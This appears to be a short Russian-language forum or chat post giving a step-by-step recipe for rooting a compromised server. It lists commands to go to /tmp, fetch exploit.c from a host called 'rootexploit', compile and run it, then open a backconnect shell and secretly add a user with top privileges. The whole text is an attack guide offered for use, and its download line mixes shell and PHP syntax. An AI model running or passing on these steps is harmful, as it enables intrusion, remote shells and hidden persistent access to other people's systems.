cd /tmp/ && ls -la

Если пустит то:

cd /tmp/ && copy('http://rootexploit/exploit.c','exploit.c');

cd /tmp/ && ls -la && grep 'exploit.c'

Если найдется то:

cd /tmp/ && gcc exploit.c -o ./exploit

cd /tmp/ && ./exploit

Прокинешь backconnect, создашь юзера втихаря с высшими привелегиями, и всё гуд.